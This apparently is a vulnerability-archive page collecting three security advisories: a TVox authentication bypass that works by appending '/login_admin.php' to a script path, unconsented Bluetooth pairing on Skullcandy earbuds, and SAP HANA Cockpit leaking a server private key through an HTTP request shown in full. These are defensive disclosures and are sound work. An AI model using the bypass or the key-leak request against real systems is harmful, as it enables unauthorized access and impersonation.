[KIS-2026-14] Telenia Software TVox <= 26.5.3 (set_env.php) Authentication Bypass Vulnerability
Summary
---------------------------------------------------------------------------------
Telenia Software TVox <= 26.5.3 (set_env.php) Authentication Bypass
Vulnerability
---------------------------------------------------------------------------------
[-] Software Link:
https://www.teleniasoftware.com
[-] Affected Versions:
Version 26.5.3 and prior 26.x versions.
Version 24.9.21 and prior 24.x versions.
Older versions may be affected as well.
[-] Vulnerability Description:
The vulnerable code is located within the
/opt/telenia/tvox/php/siti/t-vox/manager/set_env.php script. Specifically,
into the redirectToLoginAdminIRequestHaveAccessToken() function:
293. function redirectToLoginAdminIRequestHaveAccessToken($force = false) {
294. $current_page = str_replace("/", "", strrchr($_SERVER['PHP_SELF'],
"/"));
295. if ($current_page != "login_admin.php") {
296. $request_uri = $_SERVER["REQUEST_URI"];
297. $accessToken = @trim($force ? $_REQUEST["access_token"] :
$_GET["access_token"]);
298.
299. if ($accessToken !== "" && (!isset($_SESSION["wso2auth"]) || (
isset($_SESSION["wso2auth"]) && $_SESSION["wso2auth"]->accessToken !==
trim($accessToken)) )) {
300. $force = true;
301. if (@trim($_GET["access_token"]) != "") {
302. $parsedUrl = parse_url($request_uri);
303. $parsedUrl["query"] =
query_string_exclude(array('access_token'), $_GET);
304. if ($parsedUrl["query"] != "") {
305. $request_uri = $parsedUrl["path"] . "?" .
$parsedUrl["query"];
306. }
307. }
308. }
309.
310. if ($force) {
311. $_SESSION["request_uri"] = $request_uri;
312. unset($_REQUEST["access_token"]);
313. $_SESSION['requestSave'] = $_REQUEST;
314. header("Location: /tvox/manager/html/login_admin.php" . (
$accessToken === "" ? "" : "?access_token=" . $accessToken ));
315. exit;
316. }
317. }
318. }
This function is invoked to verify whether the user is already
authenticated. If the user is not authenticated, execution reaches line
314, where the user is redirected to the login page, and it terminates at
line 315 via an exit statement. The issue is that this authentication check
is only enforced when the value of the $current_page variable differs from
"login_admin.php" (line 295). Since $current_page is populated using the
value of $_SERVER['PHP_SELF'] (at line 294), an attacker can bypass the
authentication check by simply appending the string "/login_admin.php" to
the path of the target PHP script. As a result, the application incorrectly
treats the request as if it were targeting the login page, allowing
unauthenticated access to all PHP scripts exposed under the
/tvox/manager/html/ path.
[-] Proof of Concept:
https://karmainsecurity.com/pocs/tvox_root_rce.php
[-] Solution:
No official solution is currently available.
[-] Disclosure Timeline:
[22/05/2026] - Vendor was contacted, no response
[26/05/2026] - Vendor was notified about this vulnerability, no response
[27/05/2026] - Vendor was notified about 60-day disclosure deadline policy,
no response
[26/06/2026] - Vendor was contacted again along with CSIRT Italy, no
response from CSIRT
[08/07/2026] - First vendor response, asking for vulnerability details
[09/07/2026] - Vulnerability details safely provided to the vendor
[20/07/2026] - Vendor was contacted again, asking for an update
[21/07/2026] - Vendor replied a security patch will be released by the end
of July
[21/07/2026] - CVE identifier requested
[21/07/2026] - CVE identifier assigned
[27/07/2026] - Reached 60-day disclosure deadline, still no official
solution
[03/08/2026] - Public disclosure
[-] CVE Reference:
CVE-2026-64827 has been assigned to this vulnerability.
[-] Credits:
Vulnerability discovered by Egidio Romano.
[-] Original Advisory:
https://karmainsecurity.com/KIS-2026-14
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Telenia Software TVox |
Affected:
unknown
|
Relationships
reference
GCVE-1988-2026-0295 (this record)
- related CVE-2026-64827
{
"containers": {
"cna": {
"affected": [
{
"product": "Telenia Software TVox",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Egidio Romano"
}
],
"descriptions": [
{
"lang": "en",
"value": "---------------------------------------------------------------------------------\nTelenia Software TVox \u003c= 26.5.3 (set_env.php) Authentication Bypass\nVulnerability\n---------------------------------------------------------------------------------\n\n\n[-] Software Link:\n\nhttps://www.teleniasoftware.com\n\n\n[-] Affected Versions:\n\nVersion 26.5.3 and prior 26.x versions.\nVersion 24.9.21 and prior 24.x versions.\nOlder versions may be affected as well.\n\n\n[-] Vulnerability Description:\n\nThe vulnerable code is located within the\n/opt/telenia/tvox/php/siti/t-vox/manager/set_env.php script. Specifically,\ninto the redirectToLoginAdminIRequestHaveAccessToken() function:\n\n293. function redirectToLoginAdminIRequestHaveAccessToken($force = false) {\n294. $current_page = str_replace(\"/\", \"\", strrchr($_SERVER[\u0027PHP_SELF\u0027],\n\"/\"));\n295. if ($current_page != \"login_admin.php\") {\n296. $request_uri = $_SERVER[\"REQUEST_URI\"];\n297. $accessToken = @trim($force ? $_REQUEST[\"access_token\"] :\n$_GET[\"access_token\"]);\n298.\n299. if ($accessToken !== \"\" \u0026\u0026 (!isset($_SESSION[\"wso2auth\"]) || (\nisset($_SESSION[\"wso2auth\"]) \u0026\u0026 $_SESSION[\"wso2auth\"]-\u003eaccessToken !==\ntrim($accessToken)) )) {\n300. $force = true;\n301. if (@trim($_GET[\"access_token\"]) != \"\") {\n302. $parsedUrl = parse_url($request_uri);\n303. $parsedUrl[\"query\"] =\nquery_string_exclude(array(\u0027access_token\u0027), $_GET);\n304. if ($parsedUrl[\"query\"] != \"\") {\n305. $request_uri = $parsedUrl[\"path\"] . \"?\" .\n$parsedUrl[\"query\"];\n306. }\n307. }\n308. }\n309.\n310. if ($force) {\n311. $_SESSION[\"request_uri\"] = $request_uri;\n312. unset($_REQUEST[\"access_token\"]);\n313. $_SESSION[\u0027requestSave\u0027] = $_REQUEST;\n314. header(\"Location: /tvox/manager/html/login_admin.php\" . (\n$accessToken === \"\" ? \"\" : \"?access_token=\" . $accessToken ));\n315. exit;\n316. }\n317. }\n318. }\n\nThis function is invoked to verify whether the user is already\nauthenticated. If the user is not authenticated, execution reaches line\n314, where the user is redirected to the login page, and it terminates at\nline 315 via an exit statement. The issue is that this authentication check\nis only enforced when the value of the $current_page variable differs from\n\"login_admin.php\" (line 295). Since $current_page is populated using the\nvalue of $_SERVER[\u0027PHP_SELF\u0027] (at line 294), an attacker can bypass the\nauthentication check by simply appending the string \"/login_admin.php\" to\nthe path of the target PHP script. As a result, the application incorrectly\ntreats the request as if it were targeting the login page, allowing\nunauthenticated access to all PHP scripts exposed under the\n/tvox/manager/html/ path.\n\n\n[-] Proof of Concept:\n\nhttps://karmainsecurity.com/pocs/tvox_root_rce.php\n\n\n[-] Solution:\n\nNo official solution is currently available.\n\n\n[-] Disclosure Timeline:\n\n[22/05/2026] - Vendor was contacted, no response\n[26/05/2026] - Vendor was notified about this vulnerability, no response\n[27/05/2026] - Vendor was notified about 60-day disclosure deadline policy,\nno response\n[26/06/2026] - Vendor was contacted again along with CSIRT Italy, no\nresponse from CSIRT\n[08/07/2026] - First vendor response, asking for vulnerability details\n[09/07/2026] - Vulnerability details safely provided to the vendor\n[20/07/2026] - Vendor was contacted again, asking for an update\n[21/07/2026] - Vendor replied a security patch will be released by the end\nof July\n[21/07/2026] - CVE identifier requested\n[21/07/2026] - CVE identifier assigned\n[27/07/2026] - Reached 60-day disclosure deadline, still no official\nsolution\n[03/08/2026] - Public disclosure\n\n\n[-] CVE Reference:\n\nCVE-2026-64827 has been assigned to this vulnerability.\n\n\n[-] Credits:\n\nVulnerability discovered by Egidio Romano.\n\n\n[-] Original Advisory:\n\nhttps://karmainsecurity.com/KIS-2026-14\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T11:40:48Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/30"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/30"
},
{
"url": "https://karmainsecurity.com/KIS-2026-14"
},
{
"url": "https://karmainsecurity.com/pocs/tvox_root_rce.php"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.teleniasoftware.com"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/30"
],
"discovery": "EXTERNAL"
},
"title": "[KIS-2026-14] Telenia Software TVox \u003c= 26.5.3 (set_env.php) Authentication Bypass Vulnerability",
"x_gcve": [
{
"recordType": "reference",
"relationships": [
{
"destId": "CVE-2026-64827",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0295",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/30",
"automated": true,
"contentSha256": "db796cc3baba52f714319d385500cac70859e39161a1b0031005a3f55d87eb2a",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/30",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-03T07:28:02Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0295"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T11:40:48Z",
"dateUpdated": "2026-09-08T11:40:48Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0295"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0282
Vulnerability from gna-1988 – Published: 2026-09-08 11:24 – Updated: 2026-09-08 11:24
VLAI
EPSS
VEX
Title
Skullcandy Dime 3 unauthorized Bluetooth pairing behavior
Summary
Hello,
I am submitting the following security disclosure for publication on the
Full Disclosure mailing list.
Title: Pairing Without Consent: CVE-2025-20701 Behavior on Skullcandy Dime 3
Affected product:
Skullcandy Dime 3 wireless earbuds
Vulnerability:
Unauthorized Bluetooth Classic pairing and persistent bond creation
Description:
Testing demonstrated that a previously unknown Linux computer could pair
with a Skullcandy Dime 3 earbud set and store a persistent Bluetooth bond
without the earbuds being intentionally placed into pairing mode.
No confirmation or physical interaction with the earbuds was required
during the pairing process.
The observed behavior is consistent with CVE-2025-20701.
Security impact:
A nearby attacker within Bluetooth range may be able to establish an
unauthorized trusted relationship with the earbuds. The stored bond could
allow subsequent connections from the unauthorized device and potentially
interfere with the legitimate user’s Bluetooth connection.
Evidence:
The public research repository includes:
- A detailed technical report
- Reproduction information
- Screenshots
- A sanitized BTSnoop capture
- A packet-level description of the pairing sequence
Repository:
https://github.com/x0jac0b0x/skullcandy-dime3-cve-2025-20701
The published BTSnoop capture preserves the pairing and connection
sequence. The 16-byte BR/EDR link key was replaced with zero bytes before
publication. The original, unmodified capture has been retained privately.
This research was conducted on hardware I own and is being published for
defensive research, independent verification, and vendor awareness.
Regards,
Jacob Nowak
Independent Security Researcher
GitHub: https://github.com/x0jac0b0x
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
6 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Skullcandy Dime 3 |
Affected:
unknown
|
Relationships
reference
GCVE-1988-2026-0282 (this record)
- related CVE-2025-20701
{
"containers": {
"cna": {
"affected": [
{
"product": "Skullcandy Dime 3",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Jacob Nowak"
}
],
"descriptions": [
{
"lang": "en",
"value": "Hello,\n\nI am submitting the following security disclosure for publication on the\nFull Disclosure mailing list.\n\nTitle: Pairing Without Consent: CVE-2025-20701 Behavior on Skullcandy Dime 3\n\nAffected product:\nSkullcandy Dime 3 wireless earbuds\n\nVulnerability:\nUnauthorized Bluetooth Classic pairing and persistent bond creation\n\nDescription:\n\nTesting demonstrated that a previously unknown Linux computer could pair\nwith a Skullcandy Dime 3 earbud set and store a persistent Bluetooth bond\nwithout the earbuds being intentionally placed into pairing mode.\n\nNo confirmation or physical interaction with the earbuds was required\nduring the pairing process.\n\nThe observed behavior is consistent with CVE-2025-20701.\n\nSecurity impact:\n\nA nearby attacker within Bluetooth range may be able to establish an\nunauthorized trusted relationship with the earbuds. The stored bond could\nallow subsequent connections from the unauthorized device and potentially\ninterfere with the legitimate user\u2019s Bluetooth connection.\n\nEvidence:\n\nThe public research repository includes:\n\n - A detailed technical report\n - Reproduction information\n - Screenshots\n - A sanitized BTSnoop capture\n - A packet-level description of the pairing sequence\n\nRepository:\n\nhttps://github.com/x0jac0b0x/skullcandy-dime3-cve-2025-20701\n\nThe published BTSnoop capture preserves the pairing and connection\nsequence. The 16-byte BR/EDR link key was replaced with zero bytes before\npublication. The original, unmodified capture has been retained privately.\n\nThis research was conducted on hardware I own and is being published for\ndefensive research, independent verification, and vendor awareness.\n\nRegards,\n\nJacob Nowak\nIndependent Security Researcher\nGitHub: https://github.com/x0jac0b0x\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T11:24:56Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/7"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/7"
},
{
"url": "https://github.com/x0jac0b0x"
},
{
"url": "https://github.com/x0jac0b0x/skullcandy-dime3-cve-2025-20701"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/7"
],
"discovery": "EXTERNAL"
},
"title": "Skullcandy Dime 3 unauthorized Bluetooth pairing behavior",
"x_gcve": [
{
"recordType": "reference",
"relationships": [
{
"destId": "CVE-2025-20701",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0282",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/7",
"automated": true,
"contentSha256": "76718710d96bdc9795176214e35243cb3e582c997a565fae63c5f0d93fde612b",
"evidenceScore": 6,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/7",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-07-28T20:00:34Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0282"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T11:24:56Z",
"dateUpdated": "2026-09-08T11:24:56Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0282"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0275
Vulnerability from gna-1988 – Published: 2026-09-08 08:13 – Updated: 2026-09-08 08:13
VLAI
EPSS
VEX
Title
SEC Consult SA-20260415-0 :: Exposed Private Key of X.509 Certificate in SAP HANA Cockpit & SAP HANA Database Explorer
Summary
SEC Consult Vulnerability Lab Security Advisory < 20260415-0 >
=======================================================================
title: Exposed Private Key of X.509 Certificate
product: SAP HANA Cockpit & SAP HANA Database Explorer
vulnerable version: HANA Cockpit <2.18.2 (HRTT <2.16.254002)
fixed version: HANA Cockpit 2.18.2 (HRTT 2.16.254002)
CVE number: CVE-2026-34262
impact: high
homepage:https://www.sap.com/
found: 2025-04-24
by: Ben Samtleben (Office Berlin)
Bernd Kaufmann (Office Vienna)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"SAP is one of the world’s leading producers of software for the management
of business processes."
Source:https://www.sap.com/about/what-is-sap.html
"SAP HANA cockpit is the main administration tool for SAP HANA. The SAP HANA
cockpit provides tools for the administration and monitoring of SAP HANA
databases (databases), and for development capabilities through the SAP
HANA database explorer."
Source:https://help.sap.com/docs/SAP_HANA_COCKPIT/df02d156db744412ad1f9e887aba68ad/ab5d442cc8a340fea07c15ef6f8eb537.html
Business recommendation:
------------------------
The vendor provides a patch which should be installed immediately, see
SAP Security Note 3730639 (https://me.sap.com/notes/3730639.
This patch does not completely mitigate the risk that the private keys were
obtained by an attacker in the past. Therefore, SEC Consult strongly
recommends rotating the affected X.509 certificates and corresponding private
keys - even if this is currently not mentioned in the SAP Security Note.
SEC Consult highly recommends to perform a thorough security review of the
product conducted by security professionals to identify and resolve potential
further security issues.
Vulnerability overview/description:
-----------------------------------
1) Exposed Private Key of X.509 Certificate in SAP HANA Cockpit (CVE-2026-34262)
SAP HANA Cockpit users with access to the Database Explorer can obtain the
X.509 certificate issued to the application server and its corresponding
private key. This information can be used to impersonate the application server
on network level, allowing an attacker to obtain user credentials or other sensitive
data. The issue arises if mutual TLS (mTLS) is configured for communication with the SAP HANA database.
Proof of concept:
-----------------
1) Exposed Private Key of X.509 Certificate in SAP HANA Cockpit (CVE-2026-34262)
When accessing the Database Explorer via the SAP HANA Cockpit, the following
HTTP request is sent to the HRTT service in the background:
GET /hrtt-service/sap/hana/cst/api/v2/databases HTTP/1.1
Host: hana-cockpit-web-app.example.org:31033
Cookie: JSESSIONID=[...]
[...]
The server response contains a list of all available databases.
{
"__count": 6,
"d": {
"results": [
{
"__metadata": {
"uri": "/sap/hana/cst/api/v2/databases('C123456789')",
"type": "database.Database"
},
"id": "C123456789",
"group_id": 0,
"catalog_name": "SID@SID",
"type": "COCKPIT_RESOURCE",
"disabled": false,
"has_login": false,
"cockpit_resource_id": 123456789,
"database_product_name": "HANA",
"options": {
"schema_filter": "[]"
},
"set_xs_applicationuser": true,
"hdl_support_sof": false
},
// [... more entries here...]
]
}
}
However, the response can vary - most likely depending on other HTTP requests
that have been sent. A more verbose response can be triggered by manually
interacting with the Database Explorer and then repeating the request.
(No database credentials are needed.) Then, the following information is returned:
{
"__count": 6,
"d": {
"results": [
{
"__metadata": {
"uri": "/sap/hana/cst/api/v2/databases('C123456789')",
"type": "database.Database"
},
"id": "C123456789",
"group_id": 0,
"catalog_name": "SID@SID",
"type": "COCKPIT_RESOURCE",
"disabled": false,
"has_login": false,
"cockpit_resource_id": 123456789,
"database_product_name": "HANA",
"cockpit_resource_name": "SID@SID",
"options": {
"hosts": [
{
"host": "isidhdb01.example.org",
"port": "31013"
}
],
"databaseName": "SID",
"encrypt": true,
"ca": [
"-----BEGIN CERTIFICATE-----\nMII[... certificate removed ...]zg==\n-----END
CERTIFICATE-----\n",
"-----BEGIN CERTIFICATE-----\nMII[... certificate removed ...]c4=\n-----END CERTIFICATE-----\n",
],
"sslValidateCertificate": true,
"key": [
"-----BEGIN PRIVATE KEY-----MII[... private key removed ...]8tQ==-----END PRIVATE KEY-----"
],
"cert": [
"-----BEGIN CERTIFICATE-----MII[... certificate removed ...]QHvC-----END CERTIFICATE----------BEGIN
CERTIFICATE-----MII[...]yotP-----END CERTIFICATE-----"
],
"schema_filter": "[]"
},
"set_xs_applicationuser": true,
"hdl_support_sof": false
}
// [... more entries here...]
]
}
}
The HTTP response does not only leak additional metadata, but most importantly an X.509
certificate chain and the private key of the leaf certificate. This certificate is issued
to the application server hosting the SAP HANA Cockpit, not to the database server.
The vulnerability can be reproduced with the Cockpit Administrator and the Cockpit User role,
so it does not require administrative privileges.
Vulnerable / tested versions:
-----------------------------
The following versions are affected:
* SAP HANA Cockpit versions prior to 2.18.2 (SAP HANA Runtime Tools prior to 2.16.254002)
Vendor contact timeline:
------------------------
2025-07-01: Contacting vendor through vulnerability submission web form, receiving
automatic confirmation.
2025-10-13: Recontacting vendor via email after no response.
2025-10-17: Vendor responds, declaring the issue "resolved" by Aug 30 without
further details.
2025-10-29: Inquiring about assigned CVE or SAP Security Note.
2025-11-12: Sending reminder after no response.
2025-11-28: Sending another reminder, still no response.
2025-12-03: Vendor responds with the version containing the patch; states that
no CVE will be assigned.
2025-12-05: Contacting vendor, emphasizing that SAP Security Note and CVE are
essential to inform customers and make them rotate their certificates.
2025-12-10: Vendor responds, requesting time to clarify with internal stakeholders.
2026-02-11: Contacting the vendor again, asking for any updates.
2026-02-12: Vendor responds, reiterating patched version, no mention of SAP Security
Note or CVE.
2026-02-12: Reminding vendor of importance of notifying affected customers due to
required certificate rotation.
2026-02-25: Contacting MITRE regarding CVE assignment dispute.
2026-02-27: Vendor agrees to issuing SAP Security Note and asks to wait with public disclosure.
2026-04-14: SAP Security Note 3730639 (CVE-2026-34262) is published by the vendor.
2026-04-15: Public release of advisory
Solution:
---------
According to SAP, the vulnerability was fixed in SAP HANA Cockpit version 2.18.2 (HRTT version 2.16.254002).
For information on the available patch, please see SAP Security Note 3730639 (https://me.sap.com/notes/3730639).
However, this does not completely mitigate the risk that the private keys were
obtained by an attacker in the past. Therefore, SEC Consult strongly recommends
rotating the affected X.509 certificates and corresponding private keys -
even if this is currently not mentioned in the SAP Security Note.
Workaround:
-----------
None
Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos business. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your applicationhttps://sec-consult.com/career/
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local officeshttps://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: security-research at sec-consult dot com
Web:https://www.sec-consult.com
Blog:https://blog.sec-consult.com
X:https://x.com/sec_consult
EOF Ben Samtleben, Bernd Kaufmann / @2026
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
14 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | SEC Consult SA-20260415-0 |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0275 (this record)
- related CVE-2026-34262
{
"containers": {
"cna": {
"affected": [
{
"product": "SEC Consult SA-20260415-0",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "SEC Consult Vulnerability Lab via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260415-0 \u003e\n=======================================================================\n title: Exposed Private Key of X.509 Certificate\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 product: SAP HANA Cockpit \u0026 SAP HANA Database Explorer\n vulnerable version: HANA Cockpit \u003c2.18.2 (HRTT \u003c2.16.254002)\n\u00a0 \u00a0 \u00a0 fixed version: HANA Cockpit 2.18.2 (HRTT 2.16.254002)\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0CVE number: CVE-2026-34262\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: high\n homepage:https://www.sap.com/\n found: 2025-04-24\n by: Ben Samtleben (Office Berlin)\n Bernd Kaufmann (Office Vienna)\n SEC Consult Vulnerability Lab\n\n An integrated part of SEC Consult, an Atos business\n Europe | Asia\n\n https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"SAP is one of the world\u2019s leading producers of software for the management\nof business processes.\"\n\nSource:https://www.sap.com/about/what-is-sap.html\n\n\"SAP HANA cockpit is the main administration tool for SAP HANA. The SAP HANA\ncockpit provides tools for the administration and monitoring of SAP HANA\ndatabases (databases), and for development capabilities through the SAP\nHANA database explorer.\"\n\nSource:https://help.sap.com/docs/SAP_HANA_COCKPIT/df02d156db744412ad1f9e887aba68ad/ab5d442cc8a340fea07c15ef6f8eb537.html\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides a patch which should be installed immediately, see\nSAP Security Note 3730639 (https://me.sap.com/notes/3730639.\n\nThis patch does not completely mitigate the risk that the private keys were\nobtained by an attacker in the past. Therefore, SEC Consult strongly\nrecommends rotating the affected X.509 certificates and corresponding private\nkeys - even if this is currently not mentioned in the SAP Security Note.\n\nSEC Consult highly recommends to perform a thorough security review of the\nproduct conducted by security professionals to identify and resolve potential\nfurther security issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Exposed Private Key of X.509 Certificate in SAP HANA Cockpit (CVE-2026-34262)\nSAP HANA Cockpit users with access to the Database Explorer can obtain the\nX.509 certificate issued to the application server and its corresponding\nprivate key. This information can be used to impersonate the application server\non network level, allowing an attacker to obtain user credentials or other sensitive\ndata. The issue arises if mutual TLS (mTLS) is configured for communication with the SAP HANA database.\n\n\nProof of concept:\n-----------------\n1) Exposed Private Key of X.509 Certificate in SAP HANA Cockpit (CVE-2026-34262)\nWhen accessing the Database Explorer via the SAP HANA Cockpit, the following\nHTTP request is sent to the HRTT service in the background:\n\nGET /hrtt-service/sap/hana/cst/api/v2/databases HTTP/1.1\nHost: hana-cockpit-web-app.example.org:31033\nCookie: JSESSIONID=[...]\n[...]\n\nThe server response contains a list of all available databases.\n\n{\n \"__count\": 6,\n \"d\": {\n \"results\": [\n {\n \"__metadata\": {\n \"uri\": \"/sap/hana/cst/api/v2/databases(\u0027C123456789\u0027)\",\n \"type\": \"database.Database\"\n },\n \"id\": \"C123456789\",\n \"group_id\": 0,\n \"catalog_name\": \"SID@SID\",\n \"type\": \"COCKPIT_RESOURCE\",\n \"disabled\": false,\n \"has_login\": false,\n \"cockpit_resource_id\": 123456789,\n \"database_product_name\": \"HANA\",\n \"options\": {\n \"schema_filter\": \"[]\"\n },\n \"set_xs_applicationuser\": true,\n \"hdl_support_sof\": false\n },\n // [... more entries here...]\n ]\n }\n}\n\nHowever, the response can vary - most likely depending on other HTTP requests\nthat have been sent. A more verbose response can be triggered by manually\ninteracting with the Database Explorer and then repeating the request.\n(No database credentials are needed.) Then, the following information is returned:\n\n{\n \"__count\": 6,\n \"d\": {\n \"results\": [\n {\n \"__metadata\": {\n \"uri\": \"/sap/hana/cst/api/v2/databases(\u0027C123456789\u0027)\",\n \"type\": \"database.Database\"\n },\n \"id\": \"C123456789\",\n \"group_id\": 0,\n \"catalog_name\": \"SID@SID\",\n \"type\": \"COCKPIT_RESOURCE\",\n \"disabled\": false,\n \"has_login\": false,\n \"cockpit_resource_id\": 123456789,\n \"database_product_name\": \"HANA\",\n \"cockpit_resource_name\": \"SID@SID\",\n \"options\": {\n \"hosts\": [\n {\n \"host\": \"isidhdb01.example.org\",\n \"port\": \"31013\"\n }\n ],\n \"databaseName\": \"SID\",\n \"encrypt\": true,\n \"ca\": [\n \"-----BEGIN CERTIFICATE-----\\nMII[... certificate removed ...]zg==\\n-----END \nCERTIFICATE-----\\n\",\n \"-----BEGIN CERTIFICATE-----\\nMII[... certificate removed ...]c4=\\n-----END CERTIFICATE-----\\n\",\n ],\n \"sslValidateCertificate\": true,\n \"key\": [\n \"-----BEGIN PRIVATE KEY-----MII[... private key removed ...]8tQ==-----END PRIVATE KEY-----\"\n ],\n \"cert\": [\n \"-----BEGIN CERTIFICATE-----MII[... certificate removed ...]QHvC-----END CERTIFICATE----------BEGIN \nCERTIFICATE-----MII[...]yotP-----END CERTIFICATE-----\"\n ],\n \"schema_filter\": \"[]\"\n },\n \"set_xs_applicationuser\": true,\n \"hdl_support_sof\": false\n }\n // [... more entries here...]\n ]\n }\n}\n\nThe HTTP response does not only leak additional metadata, but most importantly an X.509\ncertificate chain and the private key of the leaf certificate. This certificate is issued\nto the application server hosting the SAP HANA Cockpit, not to the database server.\n\nThe vulnerability can be reproduced with the Cockpit Administrator and the Cockpit User role,\nso it does not require administrative privileges.\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following versions are affected:\n* SAP HANA Cockpit versions prior to 2.18.2 (SAP HANA Runtime Tools prior to 2.16.254002)\n\n\nVendor contact timeline:\n------------------------\n2025-07-01: Contacting vendor through vulnerability submission web form, receiving\n automatic confirmation.\n2025-10-13: Recontacting vendor via email after no response.\n2025-10-17: Vendor responds, declaring the issue \"resolved\" by Aug 30 without\n further details.\n2025-10-29: Inquiring about assigned CVE or SAP Security Note.\n2025-11-12: Sending reminder after no response.\n2025-11-28: Sending another reminder, still no response.\n2025-12-03: Vendor responds with the version containing the patch; states that\n no CVE will be assigned.\n2025-12-05: Contacting vendor, emphasizing that SAP Security Note and CVE are\n essential to inform customers and make them rotate their certificates.\n2025-12-10: Vendor responds, requesting time to clarify with internal stakeholders.\n2026-02-11: Contacting the vendor again, asking for any updates.\n2026-02-12: Vendor responds, reiterating 